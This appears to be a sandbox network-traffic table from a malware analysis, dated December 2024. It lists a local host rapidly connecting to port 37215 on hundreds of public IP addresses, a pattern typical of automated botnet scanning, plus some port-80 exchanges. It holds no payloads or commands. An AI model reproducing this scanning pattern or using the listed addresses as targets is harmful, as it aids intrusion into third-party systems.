Dec 3, 2024 22:16:48.743535995 CET	37451	37215	192.168.2.23	41.138.142.196
Dec 3, 2024 22:16:48.743541956 CET	37451	37215	192.168.2.23	41.226.205.157
Dec 3, 2024 22:16:48.743541956 CET	37451	37215	192.168.2.23	197.155.45.199
Dec 3, 2024 22:16:48.743546009 CET	37451	37215	192.168.2.23	41.158.177.7
Dec 3, 2024 22:16:48.743549109 CET	37451	37215	192.168.2.23	156.225.232.78
Dec 3, 2024 22:16:48.743549109 CET	37451	37215	192.168.2.23	156.178.84.20
Dec 3, 2024 22:16:48.743550062 CET	37451	37215	192.168.2.23	156.228.204.151
Dec 3, 2024 22:16:48.743552923 CET	37451	37215	192.168.2.23	197.83.229.192
Dec 3, 2024 22:16:48.743552923 CET	37451	37215	192.168.2.23	156.207.229.56
Dec 3, 2024 22:16:48.743563890 CET	37451	37215	192.168.2.23	197.159.57.162
Dec 3, 2024 22:16:48.743566990 CET	37451	37215	192.168.2.23	41.149.56.239
Dec 3, 2024 22:16:48.743572950 CET	37451	37215	192.168.2.23	197.253.247.193
Dec 3, 2024 22:16:48.743586063 CET	37451	37215	192.168.2.23	41.66.21.149
Dec 3, 2024 22:16:48.743592024 CET	37451	37215	192.168.2.23	41.145.204.102
Dec 3, 2024 22:16:48.743602991 CET	37451	37215	192.168.2.23	156.96.69.95
Dec 3, 2024 22:16:48.743607044 CET	37451	37215	192.168.2.23	41.216.117.132
Dec 3, 2024 22:16:48.743619919 CET	37451	37215	192.168.2.23	156.40.246.169
Dec 3, 2024 22:16:48.743622065 CET	37451	37215	192.168.2.23	197.38.104.44
Dec 3, 2024 22:16:48.743626118 CET	37451	37215	192.168.2.23	41.33.18.243
Dec 3, 2024 22:16:48.743632078 CET	37451	37215	192.168.2.23	197.211.22.41
Dec 3, 2024 22:16:48.743632078 CET	37451	37215	192.168.2.23	197.139.135.17
Dec 3, 2024 22:16:48.743633986 CET	37451	37215	192.168.2.23	41.207.10.62
Dec 3, 2024 22:16:48.743649960 CET	37451	37215	192.168.2.23	156.84.112.122
Dec 3, 2024 22:16:48.743650913 CET	37451	37215	192.168.2.23	41.10.246.105
Dec 3, 2024 22:16:48.743652105 CET	37451	37215	192.168.2.23	156.168.240.233
Dec 3, 2024 22:16:48.743663073 CET	37451	37215	192.168.2.23	156.206.57.171
Dec 3, 2024 22:16:48.743671894 CET	37451	37215	192.168.2.23	156.64.221.21
Dec 3, 2024 22:16:48.743674040 CET	37451	37215	192.168.2.23	41.48.143.138
Dec 3, 2024 22:16:48.743675947 CET	37451	37215	192.168.2.23	41.18.84.50
Dec 3, 2024 22:16:48.743680954 CET	37451	37215	192.168.2.23	41.184.232.48
Dec 3, 2024 22:16:48.743691921 CET	37451	37215	192.168.2.23	41.102.70.251
Dec 3, 2024 22:16:48.743700981 CET	37451	37215	192.168.2.23	156.30.146.236
Dec 3, 2024 22:16:48.743710995 CET	37451	37215	192.168.2.23	41.158.189.50
Dec 3, 2024 22:16:48.743719101 CET	37451	37215	192.168.2.23	41.136.245.84
Dec 3, 2024 22:16:48.743729115 CET	37451	37215	192.168.2.23	156.88.195.191
Dec 3, 2024 22:16:48.743738890 CET	37451	37215	192.168.2.23	41.6.20.209
Dec 3, 2024 22:16:48.743738890 CET	37451	37215	192.168.2.23	41.26.125.244
Dec 3, 2024 22:16:48.743752003 CET	37451	37215	192.168.2.23	41.27.7.86
Dec 3, 2024 22:16:48.743752003 CET	37451	37215	192.168.2.23	197.236.133.43
Dec 3, 2024 22:16:48.743753910 CET	37451	37215	192.168.2.23	41.64.31.64
Dec 3, 2024 22:16:48.743760109 CET	37451	37215	192.168.2.23	156.226.37.13
Dec 3, 2024 22:16:48.743776083 CET	37451	37215	192.168.2.23	41.128.212.101
Dec 3, 2024 22:16:48.743778944 CET	37451	37215	192.168.2.23	41.181.172.247
Dec 3, 2024 22:16:48.743782043 CET	37451	37215	192.168.2.23	41.18.239.223
Dec 3, 2024 22:16:48.743789911 CET	37451	37215	192.168.2.23	41.23.206.95
Dec 3, 2024 22:16:48.743794918 CET	37451	37215	192.168.2.23	197.159.164.51
Dec 3, 2024 22:16:48.743803024 CET	37451	37215	192.168.2.23	41.106.124.30
Dec 3, 2024 22:16:48.743814945 CET	37451	37215	192.168.2.23	41.222.140.56
Dec 3, 2024 22:16:48.743817091 CET	37451	37215	192.168.2.23	41.110.74.114
Dec 3, 2024 22:16:48.743823051 CET	37451	37215	192.168.2.23	41.52.150.93
Dec 3, 2024 22:16:48.743833065 CET	37451	37215	192.168.2.23	41.229.86.17
Dec 3, 2024 22:16:48.743837118 CET	37451	37215	192.168.2.23	197.172.105.198
Dec 3, 2024 22:16:48.743845940 CET	37451	37215	192.168.2.23	197.238.89.130
Dec 3, 2024 22:16:48.743855953 CET	37451	37215	192.168.2.23	41.34.132.146
Dec 3, 2024 22:16:48.743859053 CET	37451	37215	192.168.2.23	197.80.74.9
Dec 3, 2024 22:16:48.743865013 CET	37451	37215	192.168.2.23	41.25.5.218
Dec 3, 2024 22:16:48.743865013 CET	37451	37215	192.168.2.23	156.21.226.185
Dec 3, 2024 22:16:48.743869066 CET	37451	37215	192.168.2.23	156.219.71.26
Dec 3, 2024 22:16:48.743870020 CET	37451	37215	192.168.2.23	197.34.177.236
Dec 3, 2024 22:16:48.743877888 CET	37451	37215	192.168.2.23	156.104.218.190
Dec 3, 2024 22:16:48.743889093 CET	37451	37215	192.168.2.23	156.149.247.27
Dec 3, 2024 22:16:48.743895054 CET	37451	37215	192.168.2.23	197.82.236.138
Dec 3, 2024 22:16:48.743897915 CET	37451	37215	192.168.2.23	156.105.78.227
Dec 3, 2024 22:16:48.743897915 CET	37451	37215	192.168.2.23	41.166.148.85
Dec 3, 2024 22:16:48.743899107 CET	37451	37215	192.168.2.23	156.95.52.42
Dec 3, 2024 22:16:48.743899107 CET	37451	37215	192.168.2.23	197.92.127.7
Dec 3, 2024 22:16:48.743901014 CET	37451	37215	192.168.2.23	156.115.146.91
Dec 3, 2024 22:16:48.743906021 CET	37451	37215	192.168.2.23	156.224.180.63
Dec 3, 2024 22:16:48.743925095 CET	37451	37215	192.168.2.23	197.97.213.178
Dec 3, 2024 22:16:48.743937969 CET	37451	37215	192.168.2.23	41.38.4.65
Dec 3, 2024 22:16:48.743942976 CET	37451	37215	192.168.2.23	197.151.108.190
Dec 3, 2024 22:16:48.743944883 CET	37451	37215	192.168.2.23	197.173.132.88
Dec 3, 2024 22:16:48.743944883 CET	37451	37215	192.168.2.23	41.55.184.106
Dec 3, 2024 22:16:48.743961096 CET	37451	37215	192.168.2.23	197.62.197.188
Dec 3, 2024 22:16:48.743963957 CET	37451	37215	192.168.2.23	41.111.3.69
Dec 3, 2024 22:16:48.743968964 CET	37451	37215	192.168.2.23	41.17.201.70
Dec 3, 2024 22:16:48.743983030 CET	37451	37215	192.168.2.23	197.20.191.98
Dec 3, 2024 22:16:48.743987083 CET	37451	37215	192.168.2.23	156.252.48.174
Dec 3, 2024 22:16:48.743995905 CET	37451	37215	192.168.2.23	41.129.127.243
Dec 3, 2024 22:16:48.744008064 CET	37451	37215	192.168.2.23	41.42.178.233
Dec 3, 2024 22:16:48.744019032 CET	37451	37215	192.168.2.23	197.77.21.65
Dec 3, 2024 22:16:48.744025946 CET	37451	37215	192.168.2.23	41.85.55.135
Dec 3, 2024 22:16:48.744029045 CET	37451	37215	192.168.2.23	197.39.156.119
Dec 3, 2024 22:16:48.744038105 CET	37451	37215	192.168.2.23	156.24.150.255
Dec 3, 2024 22:16:48.744041920 CET	37451	37215	192.168.2.23	41.224.4.143
Dec 3, 2024 22:16:48.744050026 CET	37451	37215	192.168.2.23	197.159.157.175
Dec 3, 2024 22:16:48.744051933 CET	37451	37215	192.168.2.23	41.34.45.191
Dec 3, 2024 22:16:48.744052887 CET	37451	37215	192.168.2.23	41.145.97.10
Dec 3, 2024 22:16:48.744060040 CET	37451	37215	192.168.2.23	41.246.146.170
Dec 3, 2024 22:16:48.744069099 CET	37451	37215	192.168.2.23	197.221.125.52
Dec 3, 2024 22:16:48.744070053 CET	37451	37215	192.168.2.23	156.46.1.73
Dec 3, 2024 22:16:48.744085073 CET	37451	37215	192.168.2.23	41.183.18.176
Dec 3, 2024 22:16:48.744086981 CET	37451	37215	192.168.2.23	41.62.231.222
Dec 3, 2024 22:16:48.744091988 CET	37451	37215	192.168.2.23	197.136.100.78
Dec 3, 2024 22:16:48.744106054 CET	37451	37215	192.168.2.23	156.38.120.149
Dec 3, 2024 22:16:48.744106054 CET	37451	37215	192.168.2.23	197.76.44.237
Dec 3, 2024 22:16:48.744107962 CET	37451	37215	192.168.2.23	41.254.1.171
Dec 3, 2024 22:16:48.744111061 CET	37451	37215	192.168.2.23	156.238.115.135
Dec 3, 2024 22:16:48.744124889 CET	37451	37215	192.168.2.23	197.8.214.31
Dec 3, 2024 22:16:48.744127989 CET	37451	37215	192.168.2.23	197.228.44.51
Dec 3, 2024 22:16:48.744131088 CET	37451	37215	192.168.2.23	41.152.49.180
Dec 3, 2024 22:16:48.744147062 CET	37451	37215	192.168.2.23	156.237.254.10
Dec 3, 2024 22:16:48.744153023 CET	37451	37215	192.168.2.23	156.203.12.96
Dec 3, 2024 22:16:48.744163036 CET	37451	37215	192.168.2.23	156.218.125.65
Dec 3, 2024 22:16:48.744167089 CET	37451	37215	192.168.2.23	41.45.251.223
Dec 3, 2024 22:16:48.744172096 CET	37451	37215	192.168.2.23	41.35.149.106
Dec 3, 2024 22:16:48.744178057 CET	37451	37215	192.168.2.23	156.241.53.180
Dec 3, 2024 22:16:48.744179964 CET	37451	37215	192.168.2.23	41.216.188.161
Dec 3, 2024 22:16:48.744194031 CET	37451	37215	192.168.2.23	197.84.114.151
Dec 3, 2024 22:16:48.744198084 CET	37451	37215	192.168.2.23	41.12.132.84
Dec 3, 2024 22:16:48.744216919 CET	37451	37215	192.168.2.23	41.224.225.139
Dec 3, 2024 22:16:48.744218111 CET	37451	37215	192.168.2.23	197.154.32.14
Dec 3, 2024 22:16:48.744225025 CET	37451	37215	192.168.2.23	41.223.148.207
Dec 3, 2024 22:16:48.744225025 CET	37451	37215	192.168.2.23	197.161.238.6
Dec 3, 2024 22:16:48.744225979 CET	37451	37215	192.168.2.23	197.84.227.158
Dec 3, 2024 22:16:48.744237900 CET	37451	37215	192.168.2.23	197.101.125.130
Dec 3, 2024 22:16:48.744240999 CET	37451	37215	192.168.2.23	156.143.20.52
Dec 3, 2024 22:16:48.744246960 CET	37451	37215	192.168.2.23	197.83.148.199
Dec 3, 2024 22:16:48.744259119 CET	37451	37215	192.168.2.23	197.98.201.240
Dec 3, 2024 22:16:48.744266987 CET	37451	37215	192.168.2.23	41.209.16.98
Dec 3, 2024 22:16:48.744267941 CET	37451	37215	192.168.2.23	156.229.39.31
Dec 3, 2024 22:16:48.744273901 CET	37451	37215	192.168.2.23	197.250.156.29
Dec 3, 2024 22:16:48.744287014 CET	37451	37215	192.168.2.23	41.43.111.145
Dec 3, 2024 22:16:48.744292974 CET	37451	37215	192.168.2.23	197.195.162.149
Dec 3, 2024 22:16:48.744298935 CET	37451	37215	192.168.2.23	156.159.180.221
Dec 3, 2024 22:16:48.744313955 CET	37451	37215	192.168.2.23	41.76.126.249
Dec 3, 2024 22:16:48.744316101 CET	37451	37215	192.168.2.23	41.184.60.224
Dec 3, 2024 22:16:48.744323015 CET	37451	37215	192.168.2.23	197.149.17.241
Dec 3, 2024 22:16:48.744328022 CET	37451	37215	192.168.2.23	41.206.38.215
Dec 3, 2024 22:16:48.744329929 CET	37451	37215	192.168.2.23	197.66.116.187
Dec 3, 2024 22:16:48.744347095 CET	37451	37215	192.168.2.23	41.228.2.130
Dec 3, 2024 22:16:48.744347095 CET	37451	37215	192.168.2.23	156.21.166.10
Dec 3, 2024 22:16:48.744347095 CET	37451	37215	192.168.2.23	197.102.180.176
Dec 3, 2024 22:16:48.744359970 CET	37451	37215	192.168.2.23	41.136.194.57
Dec 3, 2024 22:16:48.744369984 CET	37451	37215	192.168.2.23	156.166.176.111
Dec 3, 2024 22:16:48.744374037 CET	37451	37215	192.168.2.23	41.75.199.87
Dec 3, 2024 22:16:48.744374990 CET	37451	37215	192.168.2.23	156.80.79.110
Dec 3, 2024 22:16:48.744383097 CET	37451	37215	192.168.2.23	156.121.106.34
Dec 3, 2024 22:16:48.744395018 CET	37451	37215	192.168.2.23	41.95.217.132
Dec 3, 2024 22:16:48.744395971 CET	37451	37215	192.168.2.23	156.51.179.130
Dec 3, 2024 22:16:48.744407892 CET	37451	37215	192.168.2.23	41.0.95.92
Dec 3, 2024 22:16:48.744416952 CET	37451	37215	192.168.2.23	156.168.127.87
Dec 3, 2024 22:16:48.744419098 CET	37451	37215	192.168.2.23	156.251.117.203
Dec 3, 2024 22:16:48.744426012 CET	37451	37215	192.168.2.23	41.117.9.3
Dec 3, 2024 22:16:48.744452000 CET	37451	37215	192.168.2.23	41.52.187.154
Dec 3, 2024 22:16:48.744452953 CET	37451	37215	192.168.2.23	41.36.199.127
Dec 3, 2024 22:16:48.744458914 CET	37451	37215	192.168.2.23	41.199.30.167
Dec 3, 2024 22:16:48.744461060 CET	37451	37215	192.168.2.23	197.113.64.177
Dec 3, 2024 22:16:48.744476080 CET	37451	37215	192.168.2.23	156.135.89.226
Dec 3, 2024 22:16:48.744476080 CET	37451	37215	192.168.2.23	156.47.147.32
Dec 3, 2024 22:16:48.744482040 CET	37451	37215	192.168.2.23	41.132.33.250
Dec 3, 2024 22:16:48.744487047 CET	37451	37215	192.168.2.23	41.163.235.142
Dec 3, 2024 22:16:48.744492054 CET	37451	37215	192.168.2.23	41.5.153.148
Dec 3, 2024 22:16:48.744505882 CET	37451	37215	192.168.2.23	197.52.40.155
Dec 3, 2024 22:16:48.744509935 CET	37451	37215	192.168.2.23	156.108.219.243
Dec 3, 2024 22:16:48.744517088 CET	37451	37215	192.168.2.23	197.236.103.7
Dec 3, 2024 22:16:48.744524956 CET	37451	37215	192.168.2.23	41.212.149.78
Dec 3, 2024 22:16:48.744529963 CET	37451	37215	192.168.2.23	156.111.48.250
Dec 3, 2024 22:16:48.744544983 CET	37451	37215	192.168.2.23	41.244.207.118
Dec 3, 2024 22:16:48.744553089 CET	37451	37215	192.168.2.23	197.160.244.97
Dec 3, 2024 22:16:48.744559050 CET	37451	37215	192.168.2.23	197.79.109.121
Dec 3, 2024 22:16:48.744560003 CET	37451	37215	192.168.2.23	197.57.227.139
Dec 3, 2024 22:16:48.744570971 CET	37451	37215	192.168.2.23	41.36.131.29
Dec 3, 2024 22:16:48.744577885 CET	37451	37215	192.168.2.23	41.83.16.16
Dec 3, 2024 22:16:48.744582891 CET	37451	37215	192.168.2.23	41.180.67.134
Dec 3, 2024 22:16:48.744592905 CET	37451	37215	192.168.2.23	156.154.4.25
Dec 3, 2024 22:16:48.744606018 CET	37451	37215	192.168.2.23	156.217.6.88
Dec 3, 2024 22:16:48.744617939 CET	37451	37215	192.168.2.23	197.172.174.57
Dec 3, 2024 22:16:48.744621038 CET	37451	37215	192.168.2.23	41.85.32.45
Dec 3, 2024 22:16:48.744632959 CET	37451	37215	192.168.2.23	41.92.84.108
Dec 3, 2024 22:16:48.744632959 CET	37451	37215	192.168.2.23	197.250.179.52
Dec 3, 2024 22:16:48.744640112 CET	37451	37215	192.168.2.23	156.230.255.49
Dec 3, 2024 22:16:48.744641066 CET	37451	37215	192.168.2.23	41.120.44.63
Dec 3, 2024 22:16:48.744657993 CET	37451	37215	192.168.2.23	197.3.190.56
Dec 3, 2024 22:16:48.744657993 CET	37451	37215	192.168.2.23	197.168.37.126
Dec 3, 2024 22:16:48.744666100 CET	37451	37215	192.168.2.23	41.155.55.186
Dec 3, 2024 22:16:48.744676113 CET	37451	37215	192.168.2.23	156.104.78.77
Dec 3, 2024 22:16:48.744682074 CET	37451	37215	192.168.2.23	156.169.199.249
Dec 3, 2024 22:16:48.744688034 CET	37451	37215	192.168.2.23	41.152.161.251
Dec 3, 2024 22:16:48.744693995 CET	37451	37215	192.168.2.23	197.68.244.218
Dec 3, 2024 22:16:48.744693995 CET	37451	37215	192.168.2.23	197.93.51.119
Dec 3, 2024 22:16:48.744698048 CET	37451	37215	192.168.2.23	41.28.17.169
Dec 3, 2024 22:16:48.744698048 CET	37451	37215	192.168.2.23	41.89.154.33
Dec 3, 2024 22:16:48.744709969 CET	37451	37215	192.168.2.23	156.46.149.154
Dec 3, 2024 22:16:48.744714975 CET	37451	37215	192.168.2.23	156.228.128.137
Dec 3, 2024 22:16:48.744715929 CET	37451	37215	192.168.2.23	156.160.209.55
Dec 3, 2024 22:16:48.744721889 CET	37451	37215	192.168.2.23	41.123.41.51
Dec 3, 2024 22:16:48.744724035 CET	37451	37215	192.168.2.23	197.52.227.109
Dec 3, 2024 22:16:48.744729996 CET	37451	37215	192.168.2.23	156.176.185.217
Dec 3, 2024 22:16:48.744750977 CET	37451	37215	192.168.2.23	197.90.127.65
Dec 3, 2024 22:16:48.744750977 CET	37451	37215	192.168.2.23	41.46.83.136
Dec 3, 2024 22:16:48.744754076 CET	37451	37215	192.168.2.23	197.99.68.166
Dec 3, 2024 22:16:48.744756937 CET	37451	37215	192.168.2.23	156.242.128.220
Dec 3, 2024 22:16:48.744767904 CET	37451	37215	192.168.2.23	41.7.191.243
Dec 3, 2024 22:16:48.744771004 CET	37451	37215	192.168.2.23	156.220.137.80
Dec 3, 2024 22:16:48.744771957 CET	37451	37215	192.168.2.23	197.206.111.131
Dec 3, 2024 22:16:48.744782925 CET	37451	37215	192.168.2.23	156.237.240.235
Dec 3, 2024 22:16:48.744785070 CET	37451	37215	192.168.2.23	41.131.152.168
Dec 3, 2024 22:16:48.744792938 CET	37451	37215	192.168.2.23	41.47.85.133
Dec 3, 2024 22:16:48.744798899 CET	37451	37215	192.168.2.23	197.216.143.197
Dec 3, 2024 22:16:48.744801998 CET	37451	37215	192.168.2.23	197.28.99.17
Dec 3, 2024 22:16:48.744807005 CET	37451	37215	192.168.2.23	197.201.236.156
Dec 3, 2024 22:16:48.744816065 CET	37451	37215	192.168.2.23	197.130.129.218
Dec 3, 2024 22:16:48.744817019 CET	37451	37215	192.168.2.23	156.232.15.71
Dec 3, 2024 22:16:48.744817019 CET	37451	37215	192.168.2.23	156.165.55.249
Dec 3, 2024 22:16:48.744827032 CET	37451	37215	192.168.2.23	156.22.68.24
Dec 3, 2024 22:16:48.744834900 CET	37451	37215	192.168.2.23	197.3.10.42
Dec 3, 2024 22:16:48.744848013 CET	37451	37215	192.168.2.23	156.14.72.118
Dec 3, 2024 22:16:48.744848967 CET	37451	37215	192.168.2.23	197.54.113.228
Dec 3, 2024 22:16:48.744856119 CET	37451	37215	192.168.2.23	156.222.87.14
Dec 3, 2024 22:16:48.744860888 CET	37451	37215	192.168.2.23	197.31.1.48
Dec 3, 2024 22:16:48.744867086 CET	37451	37215	192.168.2.23	197.239.253.24
Dec 3, 2024 22:16:48.744875908 CET	37451	37215	192.168.2.23	41.31.2.86
Dec 3, 2024 22:16:48.744889021 CET	37451	37215	192.168.2.23	41.110.80.67
Dec 3, 2024 22:16:48.744889021 CET	37451	37215	192.168.2.23	156.54.143.20
Dec 3, 2024 22:16:48.744889975 CET	37451	37215	192.168.2.23	156.49.184.105
Dec 3, 2024 22:16:48.744893074 CET	37451	37215	192.168.2.23	156.99.104.184
Dec 3, 2024 22:16:48.744899035 CET	37451	37215	192.168.2.23	41.251.198.81
Dec 3, 2024 22:16:48.744901896 CET	37451	37215	192.168.2.23	41.171.179.199
Dec 3, 2024 22:16:48.744906902 CET	37451	37215	192.168.2.23	156.69.95.163
Dec 3, 2024 22:16:48.744920015 CET	37451	37215	192.168.2.23	156.106.16.40
Dec 3, 2024 22:16:48.744932890 CET	37451	37215	192.168.2.23	41.1.159.215
Dec 3, 2024 22:16:48.744932890 CET	37451	37215	192.168.2.23	197.36.175.83
Dec 3, 2024 22:16:48.744936943 CET	37451	37215	192.168.2.23	41.52.138.200
Dec 3, 2024 22:16:48.744941950 CET	37451	37215	192.168.2.23	41.60.121.27
Dec 3, 2024 22:16:48.744945049 CET	37451	37215	192.168.2.23	197.109.167.241
Dec 3, 2024 22:16:48.744949102 CET	37451	37215	192.168.2.23	197.250.38.219
Dec 3, 2024 22:16:48.744959116 CET	37451	37215	192.168.2.23	41.90.237.196
Dec 3, 2024 22:16:48.744965076 CET	37451	37215	192.168.2.23	41.199.138.100
Dec 3, 2024 22:16:48.744966984 CET	37451	37215	192.168.2.23	197.172.227.93
Dec 3, 2024 22:16:48.744972944 CET	37451	37215	192.168.2.23	197.75.108.162
Dec 3, 2024 22:16:48.744988918 CET	37451	37215	192.168.2.23	156.132.186.141
Dec 3, 2024 22:16:48.744996071 CET	37451	37215	192.168.2.23	156.24.63.252
Dec 3, 2024 22:16:48.745003939 CET	37451	37215	192.168.2.23	156.239.159.196
Dec 3, 2024 22:16:48.745011091 CET	37451	37215	192.168.2.23	41.39.14.185
Dec 3, 2024 22:16:48.745013952 CET	37451	37215	192.168.2.23	156.198.37.201
Dec 3, 2024 22:16:48.745023012 CET	37451	37215	192.168.2.23	156.163.6.52
Dec 3, 2024 22:16:48.745029926 CET	37451	37215	192.168.2.23	197.151.159.252
Dec 3, 2024 22:16:48.745032072 CET	37451	37215	192.168.2.23	41.246.74.218
Dec 3, 2024 22:16:48.745043039 CET	37451	37215	192.168.2.23	197.191.27.157
Dec 3, 2024 22:16:48.745049953 CET	37451	37215	192.168.2.23	156.55.35.74
Dec 3, 2024 22:16:48.745050907 CET	37451	37215	192.168.2.23	197.95.142.72
Dec 3, 2024 22:16:48.745062113 CET	37451	37215	192.168.2.23	156.225.71.48
Dec 3, 2024 22:16:48.745066881 CET	37451	37215	192.168.2.23	156.120.248.66
Dec 3, 2024 22:16:48.745069027 CET	37451	37215	192.168.2.23	41.63.96.82
Dec 3, 2024 22:16:48.745085955 CET	37451	37215	192.168.2.23	41.122.198.74
Dec 3, 2024 22:16:48.745086908 CET	37451	37215	192.168.2.23	41.59.122.1
Dec 3, 2024 22:16:48.745094061 CET	37451	37215	192.168.2.23	197.227.27.239
Dec 3, 2024 22:16:48.745099068 CET	37451	37215	192.168.2.23	41.130.180.239
Dec 3, 2024 22:16:48.745107889 CET	37451	37215	192.168.2.23	41.102.20.18
Dec 3, 2024 22:16:48.745109081 CET	37451	37215	192.168.2.23	41.163.72.59
Dec 3, 2024 22:16:48.745112896 CET	37451	37215	192.168.2.23	197.28.251.66
Dec 3, 2024 22:16:48.745130062 CET	37451	37215	192.168.2.23	156.82.57.151
Dec 3, 2024 22:16:48.745136023 CET	37451	37215	192.168.2.23	197.55.215.136
Dec 3, 2024 22:16:48.745142937 CET	37451	37215	192.168.2.23	41.121.39.59
Dec 3, 2024 22:16:48.745146990 CET	37451	37215	192.168.2.23	41.77.179.77
Dec 3, 2024 22:16:48.745148897 CET	37451	37215	192.168.2.23	156.227.14.253
Dec 3, 2024 22:16:48.745161057 CET	37451	37215	192.168.2.23	41.70.9.204
Dec 3, 2024 22:16:48.745172024 CET	37451	37215	192.168.2.23	41.86.20.190
Dec 3, 2024 22:16:48.745176077 CET	37451	37215	192.168.2.23	41.25.2.28
Dec 3, 2024 22:16:48.745186090 CET	37451	37215	192.168.2.23	156.87.202.29
Dec 3, 2024 22:16:48.745187044 CET	37451	37215	192.168.2.23	197.127.104.125
Dec 3, 2024 22:16:48.745198965 CET	37451	37215	192.168.2.23	197.198.239.244
Dec 3, 2024 22:16:48.745201111 CET	37451	37215	192.168.2.23	156.150.218.206
Dec 3, 2024 22:16:48.745212078 CET	37451	37215	192.168.2.23	156.72.9.48
Dec 3, 2024 22:16:48.745213985 CET	37451	37215	192.168.2.23	197.150.67.187
Dec 3, 2024 22:16:48.745218039 CET	37451	37215	192.168.2.23	41.110.226.191
Dec 3, 2024 22:16:48.745229959 CET	37451	37215	192.168.2.23	197.240.4.183
Dec 3, 2024 22:16:48.745240927 CET	37451	37215	192.168.2.23	197.131.154.90
Dec 3, 2024 22:16:48.745244980 CET	37451	37215	192.168.2.23	156.112.82.194
Dec 3, 2024 22:16:48.745246887 CET	37451	37215	192.168.2.23	156.71.226.173
Dec 3, 2024 22:16:48.745251894 CET	37451	37215	192.168.2.23	197.22.154.207
Dec 3, 2024 22:16:48.745260954 CET	37451	37215	192.168.2.23	156.127.103.36
Dec 3, 2024 22:16:48.745261908 CET	37451	37215	192.168.2.23	156.231.165.163
Dec 3, 2024 22:16:48.745269060 CET	37451	37215	192.168.2.23	156.16.135.42
Dec 3, 2024 22:16:48.745277882 CET	37451	37215	192.168.2.23	41.29.242.161
Dec 3, 2024 22:16:48.745284081 CET	37451	37215	192.168.2.23	197.5.201.3
Dec 3, 2024 22:16:48.745289087 CET	37451	37215	192.168.2.23	156.87.101.28
Dec 3, 2024 22:16:48.745289087 CET	37451	37215	192.168.2.23	197.158.99.128
Dec 3, 2024 22:16:48.745301008 CET	37451	37215	192.168.2.23	156.89.105.233
Dec 3, 2024 22:16:48.745302916 CET	37451	37215	192.168.2.23	156.10.180.234
Dec 3, 2024 22:16:48.745306969 CET	37451	37215	192.168.2.23	197.87.102.157
Dec 3, 2024 22:16:48.745311022 CET	37451	37215	192.168.2.23	197.247.84.84
Dec 3, 2024 22:16:48.745316029 CET	37451	37215	192.168.2.23	156.182.96.95
Dec 3, 2024 22:16:48.745321035 CET	37451	37215	192.168.2.23	41.228.99.248
Dec 3, 2024 22:16:48.745328903 CET	37451	37215	192.168.2.23	41.60.139.248
Dec 3, 2024 22:16:48.745340109 CET	37451	37215	192.168.2.23	41.24.11.219
Dec 3, 2024 22:16:48.745341063 CET	37451	37215	192.168.2.23	197.248.31.248
Dec 3, 2024 22:16:48.745347023 CET	37451	37215	192.168.2.23	197.105.250.44
Dec 3, 2024 22:16:48.745358944 CET	37451	37215	192.168.2.23	41.247.80.239
Dec 3, 2024 22:16:48.745363951 CET	37451	37215	192.168.2.23	197.99.163.59
Dec 3, 2024 22:16:48.745368958 CET	37451	37215	192.168.2.23	156.192.69.177
Dec 3, 2024 22:16:48.745374918 CET	37451	37215	192.168.2.23	197.188.179.78
Dec 3, 2024 22:16:48.745378017 CET	37451	37215	192.168.2.23	41.121.125.39
Dec 3, 2024 22:16:48.745389938 CET	37451	37215	192.168.2.23	41.223.242.140
Dec 3, 2024 22:16:48.745393038 CET	37451	37215	192.168.2.23	41.135.181.241
Dec 3, 2024 22:16:48.745398045 CET	37451	37215	192.168.2.23	41.226.225.79
Dec 3, 2024 22:16:48.745408058 CET	37451	37215	192.168.2.23	41.59.67.43
Dec 3, 2024 22:16:48.745408058 CET	37451	37215	192.168.2.23	197.54.116.157
Dec 3, 2024 22:16:48.745417118 CET	37451	37215	192.168.2.23	197.196.250.114
Dec 3, 2024 22:16:48.745424986 CET	37451	37215	192.168.2.23	197.251.83.229
Dec 3, 2024 22:16:48.745431900 CET	37451	37215	192.168.2.23	41.63.67.14
Dec 3, 2024 22:16:48.745445967 CET	37451	37215	192.168.2.23	156.70.238.92
Dec 3, 2024 22:16:48.745455027 CET	37451	37215	192.168.2.23	156.166.75.82
Dec 3, 2024 22:16:48.745460987 CET	37451	37215	192.168.2.23	156.71.42.189
Dec 3, 2024 22:16:48.745475054 CET	37451	37215	192.168.2.23	197.3.145.217
Dec 3, 2024 22:16:48.745475054 CET	37451	37215	192.168.2.23	156.228.26.95
Dec 3, 2024 22:16:48.747520924 CET	80	58412	191.107.11.36	192.168.2.23
Dec 3, 2024 22:16:48.747787952 CET	80	58530	191.107.11.36	192.168.2.23
Dec 3, 2024 22:16:48.747834921 CET	58530	80	192.168.2.23	191.107.11.36
Dec 3, 2024 22:16:48.747845888 CET	58530	80	192.168.2.23	191.107.11.36
Dec 3, 2024 22:16:48.759358883 CET	80	58214	159.56.174.211	192.168.2.23
Dec 3, 2024 22:16:48.759638071 CET	80	58288	159.56.174.211	192.168.2.23
Dec 3, 2024 22:16:48.759687901 CET	58288	80	192.168.2.23	159.56.174.211
Dec 3, 2024 22:16:48.759716034 CET	58288	80	192.168.2.23	159.56.174.211
Dec 3, 2024 22:16:48.767513990 CET	80	44002	93.134.211.187	192.168.2.23
Dec 3, 2024 22:16:48.767601013 CET	80	54802	69.105.106.1	192.168.2.23
Dec 3, 2024 22:16:48.767807961 CET	80	48852	76.65.219.244	192.168.2.23
Dec 3, 2024 22:16:48.768012047 CET	80	48896	76.65.219.244	192.168.2.23
Dec 3, 2024 22:16:48.768070936 CET	48896	80	192.168.2.23	76.65.219.244
Dec 3, 2024 22:16:48.768106937 CET	48896	80	192.168.2.23	76.65.219.244
Dec 3, 2024 22:16:48.771621943 CET	80	38168	136.30.197.42	192.168.2.23
Dec 3, 2024 22:16:48.771631002 CET	80	36578	53.119.123.13	192.168.2.23
Dec 3, 2024 22:16:48.771639109 CET	80	41946	108.128.143.21	192.168.2.23
Dec 3, 2024 22:16:48.771645069 CET	80	57904	23.13.227.180	192.168.2.23
Dec 3, 2024 22:16:48.775499105 CET	80	58950	213.10.8.153	192.168.2.23
Dec 3, 2024 22:16:48.775588989 CET	80	56994	106.125.175.246	192.168.2.23
Dec 3, 2024 22:16:48.775597095 CET	80	35632	217.15.168.25	192.168.2.23
Dec 3, 2024 22:16:48.775600910 CET	80	51332	5.50.172.102	192.168.2.23
Dec 3, 2024 22:16:48.775608063 CET	80	53804	46.29.80.182	192.168.2.23
Dec 3, 2024 22:16:48.783555031 CET	80	49430	142.163.169.148	192.168.2.23
Dec 3, 2024 22:16:48.795541048 CET	80	58412	191.107.11.36	192.168.2.23
Dec 3, 2024 22:16:48.803625107 CET	80	58214	159.56.174.211	192.168.2.23
